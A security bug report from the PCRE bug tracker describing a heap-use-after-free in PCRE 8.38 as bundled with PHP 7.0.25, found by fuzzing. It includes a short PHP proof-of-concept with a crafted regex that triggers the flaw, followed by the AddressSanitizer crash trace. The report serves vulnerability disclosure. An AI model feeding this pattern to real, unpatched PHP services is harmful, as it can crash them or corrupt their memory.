https://bugs.exim.org/show_bug.cgi?id=2184
Bug ID: 2184
Summary: heap-use-after-free in php7.0.25(bundled PCRE8.38)
Product: PCRE
Version: 8.38
Hardware: x86-64
OS: Linux
Status: NEW
Severity: security
Priority: medium
Component: Code
Assignee: p...@hermes.cam.ac.uk
Reporter: idaif...@gmail.com
CC: pcre-dev@exim.org
Got the following ASAN report while fuzzing php7.0.25.
POC:
```
<?php
$pattern = "/(((?(?C)0?=))(?!()0|.(?0)0)())/";
preg_match($pattern, "hello");
?>
$ php poc.php
```
==70724==ERROR: AddressSanitizer: heap-use-after-free on address 0x621000006500
at pc 0x00000073da38 bp 0x7fffe63d7010 sp 0x7fffe63d7008
READ of size 1 at 0x621000006500 thread T0
#0 0x73da37 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:3248:23
#1 0x703b62 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1610:7
#2 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#3 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#4 0x6e1a37 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1804:9
#5 0x703b62 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1610:7
#6 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#7 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#8 0x6e1a37 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1804:9
#9 0x703b62 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1610:7
#10 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#11 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#12 0x6e1a37 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1804:9
#13 0x703b62 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1610:7
#14 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#15 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#16 0x6e1a37 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1804:9
#17 0x703b62 in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:1610:7
#18 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#19 0x7273ec in match
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:981:9
#20 0x6d0957 in php_pcre_exec
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:6934:8
#21 0x8cba4e in php_pcre_match_impl
/home/idai/PHPs/php-7.0.25/ext/pcre/php_pcre.c:808:11
#22 0x8e6670 in php_do_pcre_match
/home/idai/PHPs/php-7.0.25/ext/pcre/php_pcre.c:693:2
#23 0x2156fd4 in ZEND_DO_ICALL_SPEC_HANDLER
/home/idai/PHPs/php-7.0.25/Zend/zend_vm_execute.h:586:2
#24 0x1f05c18 in execute_ex
/home/idai/PHPs/php-7.0.25/Zend/zend_vm_execute.h:417:7
#25 0x1f06de9 in zend_execute
/home/idai/PHPs/php-7.0.25/Zend/zend_vm_execute.h:458:2
#26 0x1cc2875 in zend_execute_scripts
/home/idai/PHPs/php-7.0.25/Zend/zend.c:1445:4
#27 0x19368c7 in php_execute_script
/home/idai/PHPs/php-7.0.25/main/main.c:2518:14
#28 0x2278e40 in do_cli /home/idai/PHPs/php-7.0.25/sapi/cli/php_cli.c:977:5
#29 0x2275330 in main /home/idai/PHPs/php-7.0.25/sapi/cli/php_cli.c:1347:18
#30 0x7f61132fd82f in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#31 0x432128 in _start (/home/idai/Workspace/pcre/php_asan+0x432128)
0x621000006500 is located 0 bytes inside of 4096-byte region
[0x621000006500,0x621000007500)
freed by thread T0 here:
#0 0x4ea5f0 in __interceptor_cfree.localalias.0
(/home/idai/Workspace/pcre/php_asan+0x4ea5f0)
#1 0x7f611335854a in _IO_setb (/lib/x86_64-linux-gnu/libc.so.6+0x7b54a)
previously allocated by thread T0 here:
#0 0x4ea7a8 in malloc (/home/idai/Workspace/pcre/php_asan+0x4ea7a8)
#1 0x7f611334a1d4 in _IO_file_doallocate
(/lib/x86_64-linux-gnu/libc.so.6+0x6d1d4)
SUMMARY: AddressSanitizer: heap-use-after-free
/home/idai/PHPs/php-7.0.25/ext/pcre/pcrelib/pcre_exec.c:3248:23 in match
Shadow bytes around the buggy address:
0x0c427fff8c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c427fff8ca0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c427fff8cb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c427fff8cc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c427fff8cd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c427fff8ce0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c427fff8cf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==70724==ABORTING
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